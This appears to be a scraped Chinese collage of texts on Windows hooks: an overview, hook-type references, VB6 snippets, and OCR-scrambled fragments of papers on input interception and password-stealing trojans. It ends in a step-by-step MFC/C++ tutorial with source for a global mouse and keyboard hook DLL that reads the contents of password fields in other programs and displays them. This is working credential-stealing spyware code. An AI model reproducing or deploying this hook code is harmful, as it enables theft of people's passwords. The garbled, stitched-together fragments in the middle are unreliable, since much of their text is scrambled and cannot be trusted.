鼠标键盘钩子截获密码
输入捕获总结

输入捕获总结简介输入捕获是计算机领域中的一项技术,它可以记录和分析用户的输入行为。
输入行为包括键盘输入、鼠标点击、触摸屏操作等。
通过对输入捕获的分析,我们可以更好地了解用户的行为习惯,优化用户体验,提高软件的质量。
输入捕获的原理输入捕获的原理是通过操作系统提供的接口,捕获用户输入的相关信息。
在Windows操作系统中,可以使用钩子(hook)来实现输入捕获。
钩子可以截获特定的Windows消息,例如键盘输入消息(WM_KEYDOWN)、鼠标点击消息(WM_LBUTTONDOWN)等。
当钩子被触发时,可以在回调函数中获取到输入事件的详细信息,例如按下的键盘键码、鼠标点击的坐标等。
输入捕获的应用输入捕获在计算机领域有着广泛的应用。
以下是输入捕获的几个常见应用场景:1. 用户行为分析通过输入捕获,可以收集并分析用户的输入行为,从而了解用户的使用习惯和偏好。
这对于设计产品、优化用户体验非常重要。
例如,在网站的用户行为分析中,可以统计用户的鼠标点击位置和频率,以及键盘输入的内容和速度,从而优化页面布局和交互方式。
2. 安全防护输入捕获可以用于安全防护,例如实现键盘记录器的功能。
键盘记录器可以记录用户在计算机键盘上输入的内容,例如账号密码等敏感信息。
通过输入捕获,可以检测和阻止恶意程序对用户输入信息的获取,提高系统的安全性。
3. 软件调试和性能优化在软件开发过程中,输入捕获对于软件调试和性能优化也非常有帮助。
通过捕获用户的输入行为,可以定位软件中可能存在的bug和性能瓶颈。
例如,在游戏开发中,可以捕获玩家的键盘输入和鼠标点击来优化游戏的响应速度和控制体验。
输入捕获的挑战尽管输入捕获在很多领域都有广泛的应用,但是它也面临一些挑战。
1. 隐私问题由于输入捕获可以记录用户的输入行为,涉及到用户隐私的问题。
当需要使用输入捕获进行用户行为分析时,需要保证用户的个人信息得到合理的保护,遵守相关的法律法规。
2. 兼容性问题不同的操作系统和开发平台提供的输入捕获接口可能存在差异,导致跨平台的兼容性问题。
钩子函数捕捉键盘消息

利用钩子函数来捕捉键盘响应的windows应用程序一:引言:你也许一直对金山词霸的屏幕抓词的实现原理感到困惑,你也许希望将你的键盘,鼠标的活动适时的记录下来,甚至你想知道木马在windows操作系统是怎样进行木马dll的加载的…..其实这些都是用到了windows的钩子函数。
因此本文将对钩子函数的相关知识进行阐述。
当然,本文的目的并不是想通过此程序让读者去窃取别人的密码,只是由于钩子函数在windows系统中是一个非常重要的系统接口函数,所以想和大家共同的探讨,当然本文也对怎样建立动态连结库(DLL)作了一些简单的描述。
(本文的程序为vc6.0的开发环境,语言是:C和win32 api)。
二:钩子概述:微软的windowsX操作系统是建立在事件驱动的机制上的,也就是通过消息传递来实现。
而钩子在windows操作系统中,是一种能在事件(比如:消息、鼠标激活、键盘响应)到达应用程序前中途接获事件的机制。
而且,钩子函数还可以通过修改、丢弃等手段来对事件起作用。
Windows 有两种钩子,一种是特定线程钩子(Thread specific hooks),一种是全局系统钩子(Systemwide hooks)。
特定线程钩子只是监视指定的线程,而全局系统钩子则可以监视系统中所有的线程。
无论是特定线程钩子,还是全局系统钩子,都是通过SetWindowsHookEx ()来设置钩子的。
对于特定线程钩子,钩子的函数既可以是包含在一个.exe也可以是一个.dll。
但是对于一个全局系统钩子,钩子函数必须包含在独立的dll中,因此,当我们要捕捉键盘响应时,我们必须创建一个动态链接库。
但是当钩子函数在得到了控制权,并对相关的事件处理完后,如果想要该消息得以继续的传递,那么则必须调用另一个函数:CallNextHookEx。
由于系统必须对每个消息处理,钩子程序因此增加了处理的负担,因此也降低了系统的性能。
鉴于这一点,在windows ce中对钩子程序并不支持。
用钩子截获系统汉字及字符输入的方案

/ 放 该 句 柄 / 释
I mmR l sC nethou , i ) e ae o tx(fc smymc ; e
Hok o 是Widw 提 供 的一 种 消息处 理 机 制 , 使得 程 序员 no s 它
可 以使 用子过 程来 监视 系统信 息 , 并在 消息 到达 目标 过程 前得
将 自 己 连 接 到 系 统 页 文 件 中 , 后 调 用 Ma V e O Fl( 获 得 然 p iw fi ) e
G t sa e P e Mesg 的消 息 , 视 鼠标 、 盘 输 入 和发 送 eMesg 或 ek sa e 监 键 到 队列 中的其 它消 息 。 方 案 3 WH— E B A D H o 使 应 用 程 序 可 以 监 视 由 : K Y O R ok
lmyhr. lnt: = m eC m oio Sr g ( ym . p sae ze g s h I mG to p s in tn t i m ic
1 汉 字 截 获基 础 知 识
11 Ho k 子 技 术 . o钩
GC R S IrT S E U J R, z ufr ,5 ) ] S @ab f ,2 6 ; e
G t s sg 和 P e Mesg 返 eMe ae ek sae
WH
—
回 的 W M K Y WN 及 E DO
—
指 向该 共享 内存 的 指针 , 以确 定要 访 问 的特 定 内存 区域 , 包括
起始 点 和大小 。 13 输 入 汉 字 串 的 获 取 -
K Y P 息 以及 发送 到消息 队列 中的键盘输 入 。 E U 消
对于 键盘 录人 汉字 的截获 方案 , 主要 以下三 种选 择 。
钩子程序

WH_JOURNALPLAYBACK Hook 使应用程序可以插入消息到系统消息队列。可以使用这个 Hook 回 放通 过 使 用 WH_JOURNALRECORD Hook 记录 下 来 的 连 续 的 鼠 标 和 键 盘 事 件 。 只 要 WH_JOURNALPLAYBACK Hook 已 经 安 装 , 正 常 的 鼠 标 和 键 盘 事 件 就 是 无 效 的 。 WH_JOURNALPLAYBACK Hook 是 全 局 Hook , 它 不 能 象 线 程 特 定 Hook 一 样 使 用 。 WH_JOURNALPLAYBACK Hook 返回超时值,这个值告诉系统在处理来自回放 Hook 当前消息之前 需要等待多长时间(毫秒) 。这就使 Hook 可以控制实时事件的回放。WH_JOURNALPLAYBACK 是 system-wide local hooks,它們不會被注射到任何行程位址空間。 (估计按键精灵是用这个 hook 做的) 7、WH_JOURNALRECORD Hook WH_JOURNALRECORD Hook 用来监视和记录输入事件。典型的,可以使用这个 Hook 记录连续的 鼠标和键盘事件, 然后通过使用 WH_JOURNALPLAYBACK Hook 来回放。 WH_JOURNALRECORD Hook 是全局 Hook,它不能象线程特定 Hook 一样使用。WH_JOURNALRECORD 是 system-wide local hooks,它們不會被注射到任何行程位址空間。 8、WH_KEYBOARD Hook 在应用程序中,WH_KEYBOARD Hook 用来监视 WM_KEYDOWN and WM_KEYUP 消息,这些消息通过 GetMessage or PeekMessage function 返回。可以使用这个 Hook 来监视输入到消息队列中 的键盘消息。 9、WH_KEYBOARD_LL Hook WH_KEYBOARD_LL Hook 监视输入到线程消息队列中的键盘消息。 10、WH_MOUSE Hook WH_MOUSE Hook 监视从 GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个 Hook 监视输入到消息队列中的鼠标消息。 11、WH_MOUSE_LL Hook WH_MOUSE_LL Hook 监视输入到线程消息队列中的鼠标消息。 12、WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以监视菜单,滚动条,消息框,对话框 消息并且发现用户使用 ALT+TAB or ALT+ESC 组合键切换窗口。 WH_MSGFILTER Hook 只能监视 传递到菜单,滚动条,消息框的消息,以及传递到通过安装了 Hook 子程的应用程序建立的对 话 框 的 消 息 。 WH_SYSMSGFILTER Hook 监 视 所 有 应 用 程 序 消 息 。 WH_MSGFILTER 和 WH_SYSMSGFILTER Hooks 使我们可以在模式循环期间过滤消息,这等价于在主消息循环中过 滤消息。通过调用 CallMsgFilter function 可以直接的调用 WH_MSGFILTER Hook。通过使用 这个函数,应用程序能够在模式循环期间使用相同的代码去过滤消息,如同在主消息循环里 一样。 13、WH_SHELL Hook 外壳应用程序可以使用 WH_SHELL Hook 去接收重要的通知。当外壳应用程序是激活的并且当 顶层窗口建立或者销毁时,系统调用 WH_SHELL Hook 子程。 WH_SHELL 共有5钟情況: 1. 只要有个 top-level、unowned 窗口被产生、起作用、或是被摧毁; 2. 当 Taskbar 需要重画某个按钮; 3. 当系统需要显示关于 Taskbar 的一个程序的最小化形式; 4. 当目前的键盘布局状态改变; 5. 当使用者按 Ctrl+Esc 去执行 Task Manager(或相同级别的程序) 。 按照惯例,外壳应用程序都不接收 WH_SHELL 消息。所以,在应用程序能够接收 WH_SHELL 消 息之前,应用程序必须调用 SystemParametersInfo function 注册它自己。
用VB6编的截获Windows消息的钩子的源码

Private Const WM_RBUTTONDOWN = &H204
Private Const WM_RBUTTONUP WM_RBUTTONDBLCLK = &H206
再例如:键盘的敲击动作,在别的地方敲击键盘,并没有在自己的Form中敲击键盘,怎么才能获得按键的具体键值呢?
对单片机有了解的朋友都知道,鼠标和键盘的操作都是利用的是“中断”触发事件来完成的,那么当系统“中断”的时候,就会发出消息给操作系统,而这些消息就是Windows全局消息。
If hHook = 0 Then
hHook = SetWindowsHookEx(WH_MOUSE_LL, AddressOf HookProc, App.hInstance, 0)
End If
End Sub
Public Sub FreeHook()
If hHook <> 0 Then
模块代码:
Option Explicit
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef Destination As Any, ByRef Source As Any, ByVal Length As Long)
HookProc = 0 '令待完成的動作繼續完成
'End If
End If
If wParam = WM_LBUTTONDOWN Then
Debug.Print "l"
钩子函数在盗号木马程序中的应用研究

容 易被 盗 号 木 马 利用 . 比如 我 们 发 送 的 即时 消 息 、 鼠标 激 活 的 个 参 数 . 用 一个 是 关 于记 录键 盘 的 钩 子 函 数 . 一 个 是 记 录 鼠 标 的 另
相应 程 序 或 代码 、 . 上 输 入 过 的 账 号 密 码 等 信 息 。 并且 , 子 钩 子 函数 键盘 钩 函 数还 可 以通 过修 改 或 丢 弃 等 手 段 来 对 事 件 起 作用 。
Wi, W 中 有 两 种 钩 子 . no s d 一种 是 特 定 线 程 钩 子 ( he dS e T ra p .
一
a WH K Y O R 当 使 用 键 盘 敲 打 消 息 即 键 盘 敲 打 的 每 ) E B A D: 个 字 符 .在 这 个 消 息 被 放 在 应 用 程 序 的 消 息 队 列 前 . N WI
提 供 了帮 助 。
【 关键 词 】 钩 子 , 号 木 马 , : 盗 函数
1引 言 .
钩 子 函数 的形 式 是 各 不 相 同 的 下 面 以 鼠标 钩 子 函 数 举 例 说 明
L ES T R UL C L AL BAC KHo k 1 c o P. ( 】
wP a . ARAM P r m) arm LP 1 aa '
账 户会 在 一 夜之 问被 病 毒 抛 售 一 空 证 券 大 盗 病 毒 是 一 种 盗 号
I t n o eW P i t C d . ARAM n .
参 数 w aa 和 1ra 包 含 所 钩 消 息 的 信 息 . 比 如 鼠 标 位 P rm P rm o
木 马病 毒 .中 了该 病 毒 的 计算 机 将 被 盗 取 关 于多 家 证 券 交 易 系 置 和 鼠标 状 态 或 者 键 盘 按 键 等 n o e是 指 有 关 消 息 本 身 的 信 Cd 统 的交 易 帐户 和 密 码 这 种 病 毒 在 2 0 0 7年 和 20 0 8年 又 出 现 了 息 . 如是 否 从 消 息 队列 中 移 出 我 们 可 以先 在 钩 子 函 数 中 实 现 比
利用日志钩子函数实现Windows系统信息的捕获

HHOOK S t id ws o E ( eW n o Ho k x
收 稿 日期 :0 1 2一O . 2 0 —1 1
第一作 者简 介 : 魏
东 (9 3 6 , , 士研 究 生 ; 1 7 . ~)男 硕 主要 研究方 向 : 计算 机 网络
有 些 系统 信息 如 : 人 的 密 码 等 , 盘钩 子 和 鼠标 钩子 是 无 法 提 取 出来 . 输 键 本 文提 出一 种 新 的 、 单 的 、 效 的捕 捉 系统 信息 的 方 法一 利 用 日志 钩 子 来 提 取 系 统 信 息 . 种 方 法 简 有 这
克服 了传统方法带来 的弊端 , 编程的效率大大得到 了提高 . 使
一
பைடு நூலகம்
般 来说 , 我们 要 捕 捉 系 统 信 息 的话 , 须 装载 相 应 的 钩 子 函数 , 捕 捉 键 盘 信 息 就 必 须 加 载键 盘 钩 必 如
子 . 种 方 法 较 为 麻烦 , 且 在 键 盘 钩子 和 鼠标 钩 子 处 理 系统 信 息 前 , 这 而 系统 已经 先 行 处 理 了这些 信 息 , 以 所
日志 钩 子 函数 在 系统 中优 先 级 最 大 , 般 情 况 下 日志 钩 子 是 在 系统 之 前 就 处 理 了 它 所 需 要处 理 的 信 一 息, 因此 对 于 日志钩 子 来 说 , 统 无 法将 它 所 需 的信 息 屏 蔽 , 日志 钩 子 无 法提 取 . 系 让 日志 钩 子 函 数 可 以提 取 出别 的钩 子 函数 无 法 提 取 的信 息 . 虽 然 严 格 地 说 日志 钩 子 是 全 局 钩 子 的一 种 , 是使 用 日志 钩 子 不 需 要 动 态链 接 库 , 全 局 钩 子则 必 须 但 而 要用 动 态 链 接 库 . 使 用 日志 钩 子 函数 时 , 先 安 装 钩 子 , 装 钩 子 函 数 我 们 一 般 通 过 HH K S t n 在 首 安 OO eWi.
c语言中钩子函数和回调函数的区别

C语言中钩子函数和回调函数的区别一、定义1. 钩子函数:钩子函数是在特定事件发生时自动调用的函数,用于拦截和处理这些事件。
在C语言中,钩子函数通常用于实现操作系统的消息处理机制,比如监控键盘、鼠标等输入设备的输入事件。
2. 回调函数:回调函数是作为参数传递给其他函数的函数,用于在特定事件发生时被调用。
在C语言中,回调函数通常用于实现异步操作,比如在网络通信中接收到数据时的处理。
二、调用方式1. 钩子函数:钩子函数是由操作系统或特定的库自动调用的,程序员无法直接调用钩子函数。
2. 回调函数:回调函数是作为参数传递给其他函数的,程序员需要在调用该函数时指定回调函数的名称或指针。
三、作用范围1. 钩子函数:钩子函数对系统的事件进行拦截和处理,可以改变系统的行为。
比如在Windows操作系统中,可以使用钩子函数来拦截键盘输入,实现快捷键功能。
2. 回调函数:回调函数用于在特定事件发生时被调用,通常用于实现异步操作或事件通知。
比如在网络通信中,可以使用回调函数来处理接收到的数据。
四、编程实现1. 钩子函数:在C语言中实现钩子函数通常需要调用操作系统或特定库提供的函数,并注册钩子函数。
钩子函数的实现方式因操作系统和应用场景的不同而异。
2. 回调函数:在C语言中实现回调函数通常需要定义一个函数指针类型,并将回调函数作为参数传递给其他函数。
在特定事件发生时,其他函数会调用指定的回调函数。
以上是C语言中钩子函数和回调函数的区别,虽然它们都涉及到在特定事件发生时调用函数,但是它们的定义、调用方式、作用范围和编程实现方式都有所不同。
深入理解这两种函数的区别对于提高程序员的编程技能和理解系统底层原理是非常有帮助的。
C语言中钩子函数和回调函数的区别继续扩写:五、应用场景1. 钩子函数:钩子函数通常用于监控、拦截和处理系统事件,比如键盘输入、鼠标点击等。
在图形用户界面(GUI)编程中,钩子函数常用于实现快捷键功能、鼠标事件处理等。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
利用鼠标键盘钩子截获密码。
源码示例:/soft/GetPass_Src.rar钩子能截获系统并得理发送给其它应用程序的消息,能完成一般程序无法完成的功能。
掌握钩子的编程方法是很有必要的钩子分类:1、WH_CALLWNDPROC和WH_CALLWNDPROCRET:使你可以监视发送到窗口过程的消息3、WH_DEBUG 调试钩子4、WH_FOREGROUNDIDLE 当当应用程序的前台线程大概要变成空闲状态时,系统就会调用 WH_FOREGROUNDIDL5、WH_JOURNALRECORD 监视和记录输入事件6、WH_JOURNALPLAYBACK 回放用WH_JOURNALRECORD记录事件7、WH_KEYBOARD 键盘钩子9、WH_KEYBOARD_LL 低层键盘钩子10、WH_MOUSE 鼠标钩子11、WH_MOUSE_LL 底层鼠标钩子12、WH_SHELL 外壳钩子13、WH_MSGFILTER 和WH_SYSMSGFILTER 使我们可以监视菜单,滚动条,消息框等安装钩子:调用函数SetWindowsHookEx安装钩子。
其函数原型为:HHOOK SetWindowsHookEx( int idHook,HOOKPROC lpfn, INSTANCE hMod,DWORD dwThreadId )idHook表示钩子类型,它是和钩子函数类型一一对应的。
如,WH_KEYBOARD,WH_MOUSE。
Lpfn是钩子函数的地址。
HMod是钩子函数所在的实例的句柄。
对于线程钩子,该参数为NULL;对于系统钩子,该参数为钩子函数所在的DLL句柄。
(系统钩子必须在DLL中)dwThreadId 指定钩子所监视的线程的线程号。
对于全局钩子,该参数为NULL。
SetWindowsHookEx返回所安装的钩子句柄。
卸载钩子调用函数BOOL UnhookWindowsHookEx( HHOOK hhk)卸载钩子定义钩子函数钩子函数是一种特殊的回调函数。
钩子监视的特定事件发生后,系统会调用钩子函数进行处理。
一般为下:LRESULT WINAPI MyHookProc(int nCode ,WPARAM wParam,LPARAM lParam)参数wParam和lParam包含所钩消息的信息,比如鼠标位置、状态,键盘按键等。
nCode 包含有关消息本身的信,比如是否从消息队列中移出。
实例:下面我们通过安装鼠标钩子。
和键盘钩子还截获输入的密码,并可查看*密码为例,来说明何何使用钩子。
1,进入向导,新建MFC AppWizard(dll) 取名为GetPass,选择MFC Extension DLL,完成。
2,新建一个CGetPassHook 类,基类:CObject,并加入StartHook,StopHook,函数,如下:class AFX_EXT_CLASS CGetPassHook : public CObject{public:BOOL StopHook();BOOL StartHook(HWND hwnd);CGetPassHook();virtual ~CGetPassHook();};3:加入全局共享数据,如下:#pragma data_seg("ShareData")HHOOK hKeyBoardHook=NULL; file://keyboar hookHHOOK hMouseHook=NULL; file://mouse hookHINSTANCE glhInstance=NULL; file://globle instanceHWND hOutPutWnd=NULL; file://Display Pass Wnd#pragma data_seg()4:加入鼠标,键盘钩子处理函数,如下:LRESULT WINAPI MouseHookProc(int nCode,WPARAM wParam ,LPARAM lParam) { file://鼠标钩子得理函数LPMOUSEHOOKSTRUCT lpMouse=(MOUSEHOOKSTRUCT FAR*)lParam;if(nCode>=0){HWND hTargetHwnd=lpMouse->hwnd; file://得到鼠标所在窗口句柄if(hTargetHwnd){LONG style=::GetWindowLong(hTargetHwnd,GWL_STYLE); file://得到它的样式if(style&ES_PASSWORD) file://如果是密码框{char szPass[255];::SendMessage(hTargetHwnd,WM_GETTEXT,255,(LPARAM)szPass);file://得到密码::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass);file://显示密码}}}return CallNextHookEx(hMouseHook,nCode,wParam,lParam);file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file://可以起到截儿消息的目的,我们这里调用之。
}LRESULT WINAPI KeyBoardProc(int nCode,WPARAM wParam,LPARAM lParam) { file://keyboard hook procif(nCode>=0){HWND hTargetHwnd=GetActiveWindow(); file://get active windowif(hTargetHwnd)EnumChildWindows(hTargetHwnd,EnumWndProc,0); file://枚举所有窗口}return CallNextHookEx(hKeyBoardHook,nCode,wParam,lParam);file://加上这句,就可以继续传递消息,如果没有,则会取消此消息的传递,file://可以起到截儿消息的目的,我们这里调用之。
}这里要介绍下EnumChildWindows函数,原形如下:BOOL EnumChildWindows(HWND hWndParent,WINDENUMPROClpEnumFunc,LPARAM lParam);hWndParent:为枚举窗口的句柄lpEnumFunc:枚举函数的地址,lParam:这里为05:加入枚举窗口的函数。
如下:(注意,因为前面的函数据要用到此函数,所以要么在前面声明,要么放在上面函数之前定义。
BOOL WINAPI EnumWndProc(HWND hwnd,LPARAM lParam){ file://enum the child window,find passeditif(hwnd){LONG style=::GetWindowLong(hwnd,GWL_STYLE); file://得到STYLEif(style&ES_PASSWORD) file://是密码框{char szPass[255];::SendMessage(hwnd,WM_GETTEXT,255,(LPARAM)szPass); file://得到PASS::SendMessage(hOutPutWnd,WM_SETTEXT,0,(LPARAM)szPass); file://显示return TRUE;}}return TRUE;}6:在DEF文件中定义段属性:(这步很重要)SECTIONSmydata READ WRITE SHARED7:完成StartHook,StopHook函数,启动/关闭钩子,如下:BOOL CGetPassHook::StartHook(HWND hwnd){ file://install hoookhMouseHook=SetWindowsHookEx(WH_MOUSE,MouseHookProc,glhInstance,0);file://mouse hookhKeyBoardHook=SetWindowsHookEx(WH_KEYBOARD,KeyBoardProc,glhInstance,0); file://keyboard hookif(hMouseHook&&hKeyBoardHook){hOutPutWnd=hwnd; file://显示密码的句柄return TRUE;}return FALSE;}BOOL CGetPassHook::StopHook(){ file://unstall hookBOOL mHook=UnhookWindowsHookEx(hMouseHook);BOOL kHook=UnhookWindowsHookEx(hKeyBoardHook);if(mHook&&kHook)return TRUE;return FALSE;}8:在DLLMAIN函数中得到DLL句柄,要用到glhInstance变量,因此要加入一句,如下:extern HINSTANCE glhInstance; file://记得这里extern "C" int APIENTRYDllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved){UNREFERENCED_PARAMETER(lpReserved);if (dwReason == DLL_PROCESS_ATTACH){TRACE0("GETPASS.DLL Initializing!\n");if (!AfxInitExtensionModule(GetPassDLL, hInstance))return 0;new CDynLinkLibrary(GetPassDLL);glhInstance=hInstance; file://得到句柄}else if (dwReason == DLL_PROCESS_DETACH){TRACE0("GETPASS.DLL Terminating!\n");AfxTermExtensionModule(GetPassDLL);}return 1; // ok}9:编译,完成DLL部分,下面建立APP部分。
如下:1:新建MFC AppWizard(exe)命名为GetPassWord,并在第一步中选择Add to Current WorkSpace加入到当前工作区,这样方便。